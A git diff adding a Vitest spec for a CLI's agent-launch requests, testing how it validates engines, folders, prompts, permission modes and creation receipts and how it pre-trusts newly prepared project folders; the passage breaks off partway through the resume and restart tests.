100644index 000000000..8629a527f--- /dev/null+++ b/cli/src/core/agents/launches.spec.ts@@ -0,0 +1,516 @@+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'+import { homedir, tmpdir } from 'node:os'+import { join } from 'node:path'+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'+import { installedDsh } from '../../dsh/installed.js'+import { dshSupportedEngines } from '../../dsh/manifest.js'+import { opencodeMajorVersion } from '../../engines/opencode/version.js'+import { AgentCreationReceiptError, AgentCreationReceipts, type AgentCreationOutcome } from '../../lib/agentCreationReceipt.js'+import type { AgentFrame } from '../../lib/agentFrame.js'+import { claudeTrusts, codexTrusts, preTrustClaudeProject, preTrustCodexProject } from '../../lib/claudeTrust.js'+import { MAX_FIRST_PROMPT_CHARS, permissionModeApproves, permissionModeFlags, supportsFirstPrompt, supportsNamedAgent } from '../../lib/engineLaunch.js'+import { parseGridLaunchOverride } from '../../lib/gridLaunch.js'+import { parseNewAgentModel, resolveNewAgentModel } from '../../lib/newAgentModel.js'+import { parseProjectFolder, prepareProjectFolder, ProjectFolderError } from '../../lib/projectFolder.js'+import type { RegisteredSession } from '../../lib/registry.js'+import { createLaunchRequests, type CreateAgent, type ForkAgent, type LaunchRequestDeps, type RestartAgent, type ResumeAgent } from './launches.js'++/**+ * The requests that start an agent's process, answered by the core: every refusal before a pane exists,+ * what each launch is handed, the receipts that let a lost answer be asked for again, and the replies,+ * field for field. Trust records, grid reads, project folders and installed harnesses are fakes here:+ * they are tested with their own modules, and a test must never write the person's own engine config.+ */+const root = vi.hoisted(() => ({ projects: '' }))+vi.mock('../../lib/claudeTrust.js', async (real) => ({+ ...await real<object>(),+ claudeTrusts: vi.fn(() => false), codexTrusts: vi.fn(() => false), preTrustClaudeProject: vi.fn(), preTrustCodexProject: vi.fn(),+}))+vi.mock('../../engines/opencode/version.js', async (real) => ({ ...await real<object>(), opencodeMajorVersion: vi.fn(() => 1) }))+vi.mock('../../lib/newAgentModel.js', async (real) => ({+ ...await real<object>(), parseNewAgentModel: vi.fn(() => ({ state: 'absent' })), resolveNewAgentModel: vi.fn(async () => ({ networkId: 'resolved' })),+}))+vi.mock('../../lib/gridLaunch.js', async (real) => ({ ...await real<object>(), parseGridLaunchOverride: vi.fn(() => ({ state: 'absent' })) }))+vi.mock('../../dsh/installed.js', async (real) => ({ ...await real<object>(), installedDsh: vi.fn(() => undefined) }))+vi.mock('../../dsh/manifest.js', async (real) => ({ ...await real<object>(), dshSupportedEngines: vi.fn(() => ['claude', 'codex']) }))+vi.mock('../../lib/engineLaunch.js', async (real) => ({+ ...await real<object>(),+ supportsFirstPrompt: vi.fn(() => true), supportsNamedAgent: vi.fn(() => true),+ permissionModeFlags: vi.fn(() => ['--flag']), permissionModeApproves: vi.fn(() => false),+}))+vi.mock('../../lib/projectFolder.js', async (real) => {+ const actual = await real<typeof import('../../lib/projectFolder.js')>()+ return { ...actual, parseProjectFolder: vi.fn(actual.parseProjectFolder), prepareProjectFolder: vi.fn(async () => '/projects/prepared'), projectsRoot: vi.fn(() => root.projects) }+})++const CREATION = 'creation-0123456789abcdef'+const session = (agentId = 'a1', over: Partial<RegisteredSession> = {}) => ({ agentId, sessionId: `${agentId}-session`, engine: 'claude', ...over }) as RegisteredSession+const frameOf = (s: RegisteredSession) => ({ id: s.agentId }) as unknown as AgentFrame+const settle = () => new Promise((resolve) => setTimeout(resolve, 0))++let dir: string+let stores = 0+beforeEach(() => {+ dir = mkdtempSync(join(tmpdir(), 'launches-'))+ root.projects = join(dir, 'harnesses')+ mkdirSync(root.projects)+})+afterEach(() => {+ rmSync(dir, { recursive: true, force: true })+ vi.restoreAllMocks()+ vi.resetAllMocks()+})++function setup(over: Partial<LaunchRequestDeps> = {}, launches: { create?: CreateAgent | null; fork?: ForkAgent | null; resume?: ResumeAgent | null; restart?: RestartAgent | null } = {}) {+ const create = launches.create === undefined ? vi.fn(async () => ({ ok: true as const, session: session('new-agent') })) : launches.create+ const fork = launches.fork === undefined ? vi.fn(async () => ({ ok: true as const, session: session('forked'), level: 'native' as const })) : launches.fork+ const resume = launches.resume === undefined ? vi.fn(async () => ({ ok: true as const, session: session('a1'), resumed: true })) : launches.resume+ const restart = launches.restart === undefined ? vi.fn(async () => ({ ok: true as const, session: session('a1'), resumed: false })) : launches.restart+ const known = new Map([['new-agent', session('new-agent')], ['forked', session('forked')], ['a1', session('a1')]])+ const deps: LaunchRequestDeps = {+ receipts: new AgentCreationReceipts(join(dir, `receipts-${++stores}`)),+ createAgent: () => create, forkAgent: () => fork, resumeAgent: () => resume, restartAgent: () => restart,+ byAgent: (id) => known.get(id), toProject: vi.fn(async (s: RegisteredSession) => frameOf(s)),+ ...over,+ }+ const requests = createLaunchRequests(deps)+ const replies: Array<Record<string, unknown>> = []+ const reply = (result: Record<string, unknown>) => { replies.push(result) }+ return {+ deps, create, fork, resume, restart, replies, requests,+ ask: async (payload: Record<string, unknown>, local = true) => { await requests.create(payload, { local }, reply); return replies.at(-1) },+ status: async (payload: Record<string, unknown>) => { await requests.createStatus(payload, reply); return replies.at(-1) },+ relaunch: async (type: string, payload: Record<string, unknown>) => { await requests.relaunch(type, payload, reply); return replies.at(-1) },+ forkAsk: async (payload: Record<string, unknown>) => { await requests.fork(payload, reply); return replies.at(-1) },+ }+}++describe('agent_create, refused before any pane exists', () => {+ it('an engine it does not know, a folder it cannot read, or a cwd that is not an absolute path', async () => {+ const { ask, create } = setup()+ expect(await ask({ cwd: '/w' })).toStrictEqual({ error: 'INVALID_ENGINE' })+ expect(await ask({ engine: 'gpt', cwd: '/w' })).toStrictEqual({ error: 'INVALID_ENGINE' })+ expect(await ask({ engine: 'claude', projectSource: 'bogus' })).toStrictEqual({ error: 'INVALID_PROJECT_SOURCE', detail: 'Choose a project.' })+ vi.mocked(parseProjectFolder).mockImplementationOnce(() => { throw new Error('unexpected') })+ expect(await ask({ engine: 'claude', projectSource: 'new' })).toStrictEqual({ error: 'INVALID_PROJECT_SOURCE' })+ expect(await ask({ engine: 'terminal', projectSource: 'new', creationId: CREATION }))+ .toStrictEqual({ error: 'INVALID_PROJECT_SOURCE', detail: 'a terminal opens in a folder, it does not prepare one' })+ expect(await ask({ engine: 'claude', cwd: 'relative/path' })).toStrictEqual({ error: 'INVALID_CWD' })+ expect(await ask({ engine: 'claude' })).toStrictEqual({ error: 'INVALID_CWD' })+ expect(await ask({ engine: 'terminal', cwd: 'relative' })).toStrictEqual({ error: 'INVALID_CWD' })+ expect(create).not.toHaveBeenCalled()+ })++ it('on a machine that cannot launch, a creation id that is not one, and a folder asked for without a receipt or beside a cwd', async () => {+ expect(await setup({}, { create: null }).ask({ engine: 'claude', cwd: '/w' })).toStrictEqual({ error: 'UNSUPPORTED_ON_REMOTE' })+ const { ask } = setup()+ expect(await ask({ engine: 'claude', cwd: '/w', creationId: 'short' })).toStrictEqual({ error: 'INVALID_CREATION_ID' })+ expect(await ask({ engine: 'claude', projectSource: 'new' })).toStrictEqual({ error: 'INVALID_PROJECT_SOURCE' })+ expect(await ask({ engine: 'claude', projectSource: 'new', creationId: CREATION, cwd: '/w' })).toStrictEqual({ error: 'INVALID_PROJECT_SOURCE' })+ })++ it('a model or grid that is not one, a grid for a terminal, and a codexHome anywhere but on codex without a grid', async () => {+ const { ask, create } = setup()+ vi.mocked(parseNewAgentModel).mockReturnValueOnce({ state: 'invalid', detail: 'no such model' } as never)+ expect(await ask({ engine: 'claude', cwd: '/w' })).toStrictEqual({ error: 'INVALID_GRID', detail: 'no such model' })+ vi.mocked(parseGridLaunchOverride).mockReturnValueOnce({ state: 'invalid', reason: 'no baseUrl' } as never)+ expect(await ask({ engine: 'claude', cwd: '/w' })).toStrictEqual({ error: 'INVALID_GRID', detail: 'no baseUrl' })+ vi.mocked(parseGridLaunchOverride).mockReturnValueOnce({ state: 'ok', override: { networkId: 'g' } } as never)+ expect(await ask({ engine: 'terminal' })).toStrictEqual({ error: 'INVALID_GRID', detail: 'a terminal has no engine to point at a grid' })+ const codexHomeRefused = { error: 'INVALID_CODEX_HOME', detail: 'codexHome is only valid for codex, without a grid' }+ expect(await ask({ engine: 'claude', cwd: '/w', codexHome: '/homes/codex' })).toStrictEqual(codexHomeRefused)+ vi.mocked(parseGridLaunchOverride).mockReturnValueOnce({ state: 'ok', override: { networkId: 'g' } } as never)+ expect(await ask({ engine: 'codex', cwd: '/w', codexHome: '/homes/codex' })).toStrictEqual(codexHomeRefused)+ expect(create).not.toHaveBeenCalled()+ // One that is not a plain absolute path is not a codexHome at all, and is dropped rather than refused.+ for (const codexHome of ['relative', '/with\nnewline', `/${'x'.repeat(4096)}`, 7]) await ask({ engine: 'claude', cwd: '/w', codexHome })+ expect(vi.mocked(create!).mock.calls.map(([input]) => input.codexHome)).toEqual([null, null, null, null])+ })++ it('a harness that is not an id, not installed here, a viewer, or not for this engine', async () => {+ const { ask, create } = setup()+ expect(await ask({ engine: 'claude', cwd: '/w', dsh: 'not an id' })).toStrictEqual({ error: 'INVALID_DSH', detail: 'dsh must be an owner/name id' })+ expect(await ask({ engine: 'claude', cwd: '/w', dsh: 7 })).toStrictEqual({ error: 'INVALID_DSH', detail: 'dsh must be an owner/name id' })+ expect(await ask({ engine: 'claude', cwd: '/w', dsh: 'acme/notes' })).toStrictEqual({ error: 'INVALID_DSH', detail: 'acme/notes is not installed on this machine' })+ vi.mocked(installedDsh).mockReturnValueOnce({ id: 'acme/viewer', manifest: { kind: 'viewer' } } as never)+ expect(await ask({ engine: 'claude', cwd: '/w', dsh: 'acme/viewer' })).toStrictEqual({ error: 'INVALID_DSH', detail: 'acme/viewer is a viewer package, not an agent' })+ vi.mocked(installedDsh).mockReturnValueOnce({ id: 'acme/notes', manifest: { kind: 'agent' } } as never)+ expect(await ask({ engine: 'pi', cwd: '/w', dsh: 'acme/notes' })).toStrictEqual({ error: 'INVALID_DSH', detail: 'acme/notes supports claude, codex; pi is not compatible' })+ expect(create).not.toHaveBeenCalled()+ })++ it('a first prompt that is not text, too long, or for an engine that cannot take one', async () => {+ const { ask, create } = setup()+ expect(await ask({ engine: 'claude', cwd: '/w', prompt: 7 })).toStrictEqual({ error: 'INVALID_PROMPT', detail: 'prompt must be a string' })+ expect(await ask({ engine: 'claude', cwd: '/w', prompt: 'x'.repeat(MAX_FIRST_PROMPT_CHARS + 1) }))+ .toStrictEqual({ error: 'PROMPT_TOO_LONG', detail: `prompt is longer than ${MAX_FIRST_PROMPT_CHARS} characters` })+ vi.mocked(supportsFirstPrompt).mockReturnValueOnce(false)+ expect(await ask({ engine: 'claude', cwd: '/w', prompt: 'fix it' })).toMatchObject({ error: 'PROMPT_UNSUPPORTED' })+ expect(create).not.toHaveBeenCalled()+ })++ it('a named agent that is not a name, or one its engine cannot open as (OpenCode v2 counts as cannot)', async () => {+ const { ask, create } = setup()+ expect(await ask({ engine: 'claude', cwd: '/w', agent: '../reviewer' })).toStrictEqual({ error: 'INVALID_AGENT', detail: 'agent must be 1-64 letters, digits, `-` or `_`' })+ expect(await ask({ engine: 'claude', cwd: '/w', agent: 7 })).toMatchObject({ error: 'INVALID_AGENT' })+ vi.mocked(supportsNamedAgent).mockReturnValueOnce(false)+ vi.mocked(opencodeMajorVersion).mockReturnValueOnce(2)+ expect(await ask({ engine: 'opencode', cwd: '/w', agent: 'reviewer' })).toMatchObject({ error: 'AGENT_UNSUPPORTED' })+ expect(supportsNamedAgent).toHaveBeenLastCalledWith('opencode', 2)+ expect(create).not.toHaveBeenCalled()+ })++ it('a permission mode the engine does not have, and a conversation to resume that is not one or comes with new-conversation choices', async () => {+ const { ask, create } = setup()+ vi.mocked(permissionModeFlags).mockReturnValueOnce(null as never)+ expect(await ask({ engine: 'claude', cwd: '/w', permissionMode: 'yolo' })).toStrictEqual({ error: 'INVALID_PERMISSION_MODE', detail: 'claude has no permission mode "yolo"' })+ expect(await ask({ engine: 'claude', cwd: '/w', permissionMode: 7 })).toStrictEqual({ error: 'INVALID_PERMISSION_MODE', detail: 'claude has no permission mode 7' })+ const notASession = { error: 'INVALID_SESSION', detail: 'resumeSessionId must be a session id' }+ expect(await ask({ engine: 'claude', cwd: '/w', resumeSessionId: '../x' })).toStrictEqual(notASession)+ expect(await ask({ engine: 'claude', cwd: '/w', resumeSessionId: 7 })).toStrictEqual(notASession)+ const fresh = { error: 'INVALID_SESSION', detail: 'a resumed conversation takes no new folder, grid, harness, prompt or agent' }+ expect(await ask({ engine: 'terminal', resumeSessionId: 'ses_abc' })).toStrictEqual(fresh)+ expect(await ask({ engine: 'claude', projectSource: 'new', creationId: CREATION, resumeSessionId: 'ses_abc' })).toStrictEqual(fresh)+ vi.mocked(parseGridLaunchOverride).mockReturnValueOnce({ state: 'ok', override: { networkId: 'g' } } as never)+ expect(await ask({ engine: 'claude', cwd: '/w', resumeSessionId: 'ses_abc' })).toStrictEqual(fresh)+ vi.mocked(parseNewAgentModel).mockReturnValueOnce({ state: 'ok', selection: { model: 'm' } } as never)+ expect(await ask({ engine: 'claude', cwd: '/w', resumeSessionId: 'ses_abc' })).toStrictEqual(fresh)+ vi.mocked(installedDsh).mockReturnValueOnce({ id: 'acme/notes', manifest: { kind: 'agent' } } as never)+ expect(await ask({ engine: 'claude', cwd: '/w', dsh: 'acme/notes', resumeSessionId: 'ses_abc' })).toStrictEqual(fresh)+ expect(await ask({ engine: 'claude', cwd: '/w', prompt: 'go', resumeSessionId: 'ses_abc' })).toStrictEqual(fresh)+ expect(await ask({ engine: 'claude', cwd: '/w', agent: 'reviewer', resumeSessionId: 'ses_abc' })).toStrictEqual(fresh)+ const takeOver = { error: 'INVALID_SESSION', detail: 'takeOver is idle, now or wait, with a resumeSessionId' }+ expect(await ask({ engine: 'claude', cwd: '/w', takeOver: 'now' })).toStrictEqual(takeOver)+ expect(await ask({ engine: 'claude', cwd: '/w', resumeSessionId: 'ses_abc', takeOver: 'later' })).toStrictEqual(takeOver)+ expect(create).not.toHaveBeenCalled()+ })+})++describe('agent_create, launched', () => {+ it('hands the creator every choice, as one input, and answers with the new agent\'s frame', async () => {+ vi.mocked(installedDsh).mockReturnValueOnce({ id: 'acme/notes', manifest: { kind: 'agent' } } as never)+ vi.mocked(permissionModeApproves).mockReturnValueOnce(true)+ const { ask, create } = setup()+ const reply = await ask({ engine: 'codex', cwd: '/w', codexHome: '/homes/codex', dsh: 'acme/notes', prompt: ' fix the build ', name: ' Builder ',+ agent: 'reviewer', permissionMode: 'auto' })+ expect(reply).toStrictEqual({ agent: { id: 'new-agent' } })+ expect(create).toHaveBeenCalledWith({ engine: 'codex', cwd: '/w', bypassPermission: true, permissionMode: 'auto', grid: null, codexHome: '/homes/codex',+ dsh: 'acme/notes', prompt: 'fix the build', name: 'Builder', agent: 'reviewer', resumeSessionId: null, takeOver: null })+ expect(Object.keys(vi.mocked(create!).mock.calls[0][0])).toEqual(['engine', 'cwd', 'bypassPermission', 'permissionMode', 'grid', 'codexHome', 'dsh', 'prompt', 'name', 'agent', 'resumeSessionId', 'takeOver'])+ })++ it('opens a terminal in the home folder, bypasses permission unless told not to, and takes blank choices as none', async () => {+ const { ask, create } = setup()+ vi.mocked(parseGridLaunchOverride).mockReturnValueOnce({ state: 'absent' } as never).mockReturnValueOnce({ state: 'ok', override: { networkId: 'g' } } as never)+ await ask({ engine: 'terminal' })+ await ask({ engine: 'claude', cwd: '/w', bypassPermission: false, prompt: ' ', name: ' ', dsh: null, agent: null, permissionMode: null, resumeSessionId: null, takeOver: null })+ await ask({ engine: 'claude', cwd: '/w', resumeSessionId: 'ses_abc', takeOver: 'idle' })+ const inputs = vi.mocked(create!).mock.calls.map(([input]) => input)+ expect(inputs[0]).toMatchObject({ engine: 'terminal', cwd: homedir(), bypassPermission: true })+ expect(inputs[1]).toMatchObject({ cwd: '/w', bypassPermission: false, prompt: null, name: null, grid: { networkId: 'g' } })+ expect(inputs[2]).toMatchObject({ resumeSessionId: 'ses_abc', takeOver: 'idle' })+ })++ it('points a model picked by name at its grid as read now, or says the model is unavailable', async () => {+ const { ask, create } = setup()+ vi.mocked(parseNewAgentModel).mockReturnValue({ state: 'ok', selection: { model: 'm' } } as never)+ vi.mocked(resolveNewAgentModel).mockResolvedValueOnce({ networkId: 'resolved' } as never).mockResolvedValueOnce(null).mockRejectedValueOnce(new Error('offline'))+ await ask({ engine: 'claude', cwd: '/w' })+ expect(vi.mocked(create!).mock.calls[0][0].grid).toEqual({ networkId: 'resolved' })+ const unavailable = { error: 'GRID_UNAVAILABLE', detail: 'The selected model is unavailable. Choose another model or refresh the list.' }+ expect(await ask({ engine: 'claude', cwd: '/w' })).toStrictEqual(unavailable)+ expect(await ask({ engine: 'claude', cwd: '/w' })).toStrictEqual(unavailable)+ expect(create).toHaveBeenCalledOnce()+ })++ it('passes a refusal on with its cause when it has one', async () => {+ const refused = setup({}, { create: vi.fn(async () => ({ ok: false as const, error: 'SPAWN_FAILED', detail: 'tmux: no server' })) })+ expect(await refused.ask({ engine: 'claude', cwd: '/w' })).toStrictEqual({ error: 'SPAWN_FAILED', detail: 'tmux: no server' })+ const bare = setup({}, { create: vi.fn(async () => ({ ok: false as const, error: 'ENGINE_MISSING' })) })+ expect(await bare.ask({ engine: 'claude', cwd: '/w' })).toStrictEqual({ error: 'ENGINE_MISSING' })+ })+})++describe('agent_create with a receipt', () => {+ it('answers outside the connection\'s line, with the creation id and the new agent, and a retry is the same launch', async () => {+ let finish!: (value: { ok: true; session: RegisteredSession }) => void+ const create = vi.fn(() => new Promise<{ ok: true; session: RegisteredSession }>((resolve) => { finish = resolve }))+ const { ask, replies, status } = setup({}, { create })+ await ask({ engine: 'claude', cwd: '/w', creationId: CREATION })+ expect(replies).toEqual([])+ expect(await status({ creationId: CREATION })).toStrictEqual({ creationId: CREATION, state: 'pending' })+ finish({ ok: true, session: session('new-agent') })+ await vi.waitFor(() => expect(replies).toHaveLength(2))+ expect(replies[1]).toStrictEqual({ creationId: CREATION, state: 'created', agent: { id: 'new-agent' } })+ expect(Object.keys(replies[1])).toEqual(['creationId', 'state', 'agent'])+ await ask({ engine: 'claude', cwd: '/w', creationId: CREATION })+ await vi.waitFor(() => expect(replies).toHaveLength(3))+ expect(create).toHaveBeenCalledOnce()+ // The same id for another launch is a conflict, never a second process.+ await ask({ engine: 'codex', cwd: '/w', creationId: CREATION })+ expect(replies.at(-1)).toStrictEqual({ error: 'CREATION_CONFLICT' })+ })++ it('records a launch that may have started as unconfirmed, and any other refusal as failed, with its folder and its cause, cut short', async () => {+ for (const [error, expected] of [['SPAWN_FAILED', 'unconfirmed'], ['REGISTRATION_FAILED', 'unconfirmed'], ['ENGINE_MISSING', 'failed']] as const) {+ const { ask, replies } = setup({}, { create: vi.fn(async () => ({ ok: false as const, error, detail: 'd'.repeat(3000) })) })+ await ask({ engine: 'claude', cwd: '/w', creationId: `${CREATION}-${error.toLowerCase()}`.slice(0, 64).replace(/_/g, '-') })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(replies[0].state).toBe(expected)+ if (expected === 'failed') expect(replies[0]).toStrictEqual({ creationId: expect.any(String), state: 'failed', failure: { code: 'ENGINE_MISSING', detail: 'd'.repeat(2000) } })+ }+ const bare = setup({}, { create: vi.fn(async () => ({ ok: false as const, error: 'ENGINE_MISSING' })) })+ await bare.ask({ engine: 'claude', cwd: '/w', creationId: CREATION })+ await vi.waitFor(() => expect(bare.replies).toStrictEqual([{ creationId: CREATION, state: 'failed', failure: { code: 'ENGINE_MISSING' } }]))+ })++ it('prepares the project folder it was asked for, named after the harness or the engine, and launches in it', async () => {+ const { ask, create, replies } = setup()+ vi.mocked(installedDsh).mockReturnValue({ id: 'acme/notes', manifest: { kind: 'agent', name: 'Notes' } } as never)+ await ask({ engine: 'claude', projectSource: 'new', projectName: 'Docs', creationId: CREATION, dsh: 'acme/notes' })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(prepareProjectFolder).toHaveBeenCalledWith({ source: 'new', name: 'Docs' }, { label: 'Notes' })+ expect(vi.mocked(create!).mock.calls[0][0].cwd).toBe('/projects/prepared')+ vi.mocked(installedDsh).mockReturnValue(undefined)+ await ask({ engine: 'pi', projectSource: 'new', creationId: `${CREATION}-pi` })+ await vi.waitFor(() => expect(replies).toHaveLength(2))+ expect(prepareProjectFolder).toHaveBeenLastCalledWith({ source: 'new' }, { label: 'Pi' })+ })++ it('records a folder it could not prepare as failed, in the folder\'s own words when it has them', async () => {+ const { ask, create, replies } = setup()+ vi.mocked(prepareProjectFolder).mockRejectedValueOnce(new ProjectFolderError('CLONE_FAILED', 'Could not clone it.')).mockRejectedValueOnce(new Error('disk full'))+ await ask({ engine: 'claude', projectSource: 'new', creationId: CREATION })+ await ask({ engine: 'claude', projectSource: 'new', creationId: `${CREATION}-2` })+ await vi.waitFor(() => expect(replies).toHaveLength(2))+ expect(replies.map((r) => r.failure)).toEqual([+ { code: 'CLONE_FAILED', detail: 'Could not clone it.' }, { code: 'PROJECT_PREPARATION_FAILED', detail: 'Could not prepare the project folder.' },+ ])+ expect(create).not.toHaveBeenCalled()+ })++ it('records the prepared folder of a launch that then failed, so the person can open it', async () => {+ const { ask, replies } = setup({}, { create: vi.fn(async () => ({ ok: false as const, error: 'ENGINE_MISSING' })) })+ await ask({ engine: 'claude', projectSource: 'new', creationId: CREATION })+ await vi.waitFor(() => expect(replies).toStrictEqual([{ creationId: CREATION, state: 'failed', preparedFolder: '/projects/prepared', failure: { code: 'ENGINE_MISSING' } }]))+ })++ it('trusts only a folder it just made empty, or a worktree of a repository the engine already trusts', async () => {+ vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { ask, replies } = setup()+ const launch = async (payload: Record<string, unknown>, n: number) => { await ask({ creationId: `${CREATION}-${n}`, ...payload }); await vi.waitFor(() => expect(replies).toHaveLength(n)) }+ await launch({ engine: 'claude', projectSource: 'new' }, 1)+ expect(preTrustClaudeProject).toHaveBeenCalledWith('/projects/prepared')+ vi.mocked(codexTrusts).mockReturnValueOnce(true)+ await launch({ engine: 'codex', projectSource: 'worktree', gitSource: '/repo', branchName: 'feature' }, 2)+ expect(codexTrusts).toHaveBeenCalledWith('/repo')+ expect(preTrustCodexProject).toHaveBeenCalledWith('/projects/prepared')+ await launch({ engine: 'claude', projectSource: 'worktree', gitSource: '/repo', branchName: 'feature' }, 3)+ await launch({ engine: 'claude', projectSource: 'branch', gitSource: '/repo', branchRef: 'refs/heads/main' }, 4)+ await launch({ engine: 'pi', projectSource: 'new' }, 5)+ expect(preTrustClaudeProject).toHaveBeenCalledOnce()+ expect(preTrustCodexProject).toHaveBeenCalledOnce()+ vi.mocked(preTrustClaudeProject).mockImplementationOnce(() => { throw new Error('config locked') }).mockImplementationOnce(() => { throw 'busy' })+ await launch({ engine: 'claude', projectSource: 'new' }, 6)+ await launch({ engine: 'claude', projectSource: 'new' }, 7)+ expect(console.warn).toHaveBeenCalledWith('[agent] pre-trust /projects/prepared · config locked')+ expect(console.warn).toHaveBeenCalledWith('[agent] pre-trust /projects/prepared · busy')+ expect(claudeTrusts).toHaveBeenCalledWith('/repo')+ })++ it('trusts an empty workspace this machine\'s own window made in the projects folder, and nothing else', async () => {+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})+ const { ask, replies } = setup()+ const empty = join(root.projects, 'fresh')+ const filled = join(root.projects, 'filled')+ mkdirSync(empty)+ mkdirSync(filled)+ writeFileSync(join(filled, 'README.md'), 'mine')+ const launch = async (payload: Record<string, unknown>, local: boolean, n: number) => { await ask({ creationId: `${CREATION}-${n}`, ...payload }, local); await vi.waitFor(() => expect(replies).toHaveLength(n)) }+ await launch({ engine: 'claude', cwd: empty }, true, 1)+ await launch({ engine: 'codex', cwd: empty }, true, 2)+ expect(preTrustClaudeProject).toHaveBeenCalledWith(empty)+ expect(preTrustCodexProject).toHaveBeenCalledWith(empty)+ await launch({ engine: 'claude', cwd: filled }, true, 3)+ await launch({ engine: 'claude', cwd: join(root.projects, 'missing') }, true, 4)+ await launch({ engine: 'claude', cwd: empty }, false, 5)+ await launch({ engine: 'claude', cwd: dir }, true, 6)+ await launch({ engine: 'pi', cwd: empty }, true, 7)+ vi.mocked(installedDsh).mockReturnValueOnce({ id: 'acme/notes', manifest: { kind: 'agent' } } as never)+ await launch({ engine: 'claude', cwd: empty, dsh: 'acme/notes' }, true, 8)+ expect(preTrustClaudeProject).toHaveBeenCalledOnce()+ expect(preTrustCodexProject).toHaveBeenCalledOnce()+ vi.mocked(preTrustCodexProject).mockImplementationOnce(() => { throw new Error('config locked') }).mockImplementationOnce(() => { throw 'busy' })+ await launch({ engine: 'codex', cwd: empty }, true, 9)+ await launch({ engine: 'codex', cwd: empty }, true, 10)+ expect(warn).toHaveBeenCalledWith(`[agent] pre-trust ${empty} · config locked`)+ expect(warn).toHaveBeenCalledWith(`[agent] pre-trust ${empty} · busy`)+ })++ it('resolves a model picked by name inside the receipt, and records it unavailable when it cannot be read', async () => {+ const { ask, create, replies } = setup()+ vi.mocked(parseNewAgentModel).mockReturnValue({ state: 'ok', selection: { model: 'm' } } as never)+ vi.mocked(resolveNewAgentModel).mockResolvedValueOnce({ networkId: 'resolved' } as never).mockRejectedValueOnce(new Error('offline'))+ await ask({ engine: 'claude', cwd: '/w', creationId: CREATION })+ await ask({ engine: 'claude', cwd: '/w', creationId: `${CREATION}-2` })+ await vi.waitFor(() => expect(replies).toHaveLength(2))+ expect(vi.mocked(create!).mock.calls[0][0].grid).toEqual({ networkId: 'resolved' })+ expect(replies[1]).toStrictEqual({ creationId: `${CREATION}-2`, state: 'failed',+ failure: { code: 'GRID_UNAVAILABLE', detail: 'The selected model is unavailable. Choose another model or refresh the list.' } })+ })++ it('says why a receipt could not be kept, and answers INTERNAL when the answer cannot be put together', async () => {+ const storage = setup({ receipts: { status: vi.fn(), run: vi.fn(() => { throw new AgentCreationReceiptError('CREATION_STORAGE_FAILED') }) } })+ expect(await storage.ask({ engine: 'claude', cwd: '/w', creationId: CREATION })).toStrictEqual({ error: 'CREATION_STORAGE_FAILED' })+ const broken = setup({ receipts: { status: vi.fn(), run: vi.fn(() => { throw new Error('bug') }) } })+ expect(await broken.ask({ engine: 'claude', cwd: '/w', creationId: CREATION })).toStrictEqual({ error: 'INTERNAL' })+ const frameless = setup({ toProject: vi.fn(async () => { throw new Error('no frame') }) })+ await frameless.ask({ engine: 'claude', cwd: '/w', creationId: CREATION })+ await vi.waitFor(() => expect(frameless.replies).toStrictEqual([{ error: 'INTERNAL' }]))+ })+})++describe('agent_create_status', () => {+ it('names a launch by a valid creation id, and says what became of it', async () => {+ const { status, deps } = setup()+ expect(await status({ creationId: 'short' })).toStrictEqual({ error: 'INVALID_CREATION_ID' })+ expect(await status({ creationId: CREATION })).toStrictEqual({ creationId: CREATION, state: 'missing' })+ const outcome = (value: AgentCreationOutcome | { state: 'pending' }) => { vi.spyOn(deps.receipts, 'status').mockReturnValueOnce(value as never) }+ outcome({ state: 'created', agentId: 'forked', level: 'handoff', resumed: true })+ const created = await status({ creationId: CREATION })+ expect(created).toStrictEqual({ creationId: CREATION, state: 'created', agent: { id: 'forked' }, level: 'handoff', resumed: true })+ expect(Object.keys(created!)).toEqual(['creationId', 'state', 'agent', 'level', 'resumed'])+ outcome({ state: 'created', agentId: 'deleted-since' })+ expect(await status({ creationId: CREATION })).toStrictEqual({ creationId: CREATION, state: 'unavailable' })+ outcome({ state: 'failed', error: 'ENGINE_MISSING', detail: 'claude is not installed', preparedFolder: '/projects/prepared' })+ expect(await status({ creationId: CREATION })).toStrictEqual({ creationId: CREATION, state: 'failed', preparedFolder: '/projects/prepared', failure: { code: 'ENGINE_MISSING', detail: 'claude is not installed' } })+ outcome({ state: 'unconfirmed' })+ expect(await status({ creationId: CREATION })).toStrictEqual({ creationId: CREATION, state: 'unconfirmed' })+ })++ it('says why a receipt could not be read', async () => {+ const storage = setup({ receipts: { run: vi.fn(), status: vi.fn(() => { throw new AgentCreationReceiptError('CREATION_STORAGE_FAILED') }) } })+ expect(await storage.status({ creationId: CREATION })).toStrictEqual({ error: 'CREATION_STORAGE_FAILED' })+ const broken = setup({ receipts: { run: vi.fn(), status: vi.fn(() => { throw new Error('bug') }) } })+ expect(await broken.status({ creationId: CREATION })).toStrictEqual({ error: 'INTERNAL' })+ })+})++describe('agent_resume and agent_restart', () => {+ it('relaunch the agent named, resume taking a permission mode, and answer with its frame and whether it resumed', async () => {+ const { relaunch, resume, restart } = setup()+ expect(await relaunch('agent_restart', { agentId: 'a1' })).toStrictEqual({ agent: { id: 'a1' }, resumed: false })+ expect(await relaunch('agent_resume', { agentId: 'a1' })).toStrictEqual({ agent: { id: 'a1' }, resumed: true })+ expect(await relaunch('agent_resume', { agentId: 'a1', permissionMode: 'plan' })).toMatchObject({ resumed: true })+ expect(restart).toHaveBeenCalledWith('a1')+ expect(vi.mocked(resume!).mock.calls).toEqual([['a1'], ['a1', 'plan']])+ })++ it('refuse a request with no agent, on a machine that cannot relaunch, and a permission mode a restart has no use for', async () => {+ const { relaunch, restart } = setup()+ expect(await relaunch('agent_restart', {})).toStrictEqual({ error: 'MISSING_AGENT_ID' })+ expect(await setup({}, { restart: null }).relaunch('agent_restart', { agentId: 'a1' })).toStrictEqual({ error: 'UNSUPPORTED_ON_REMOTE' })+ expect(await setup({}, { resume: null }).relaunch('agent_resume', { agentId: 'a1' })).toStrictEqual({ error: 'UNSUPPORTED_ON_REMOTE' })+ for (const [type, permissionMode] of [['agent_restart', 'auto'], ['agent_resume', 7], ['agent_resume', 'allow']] as const) {+ expect(await relaunch(type, { agentId: 'a1', permissionMode })).toStrictEqual({ error: 'INVALID_PERMISSION_MODE' })+ }+ 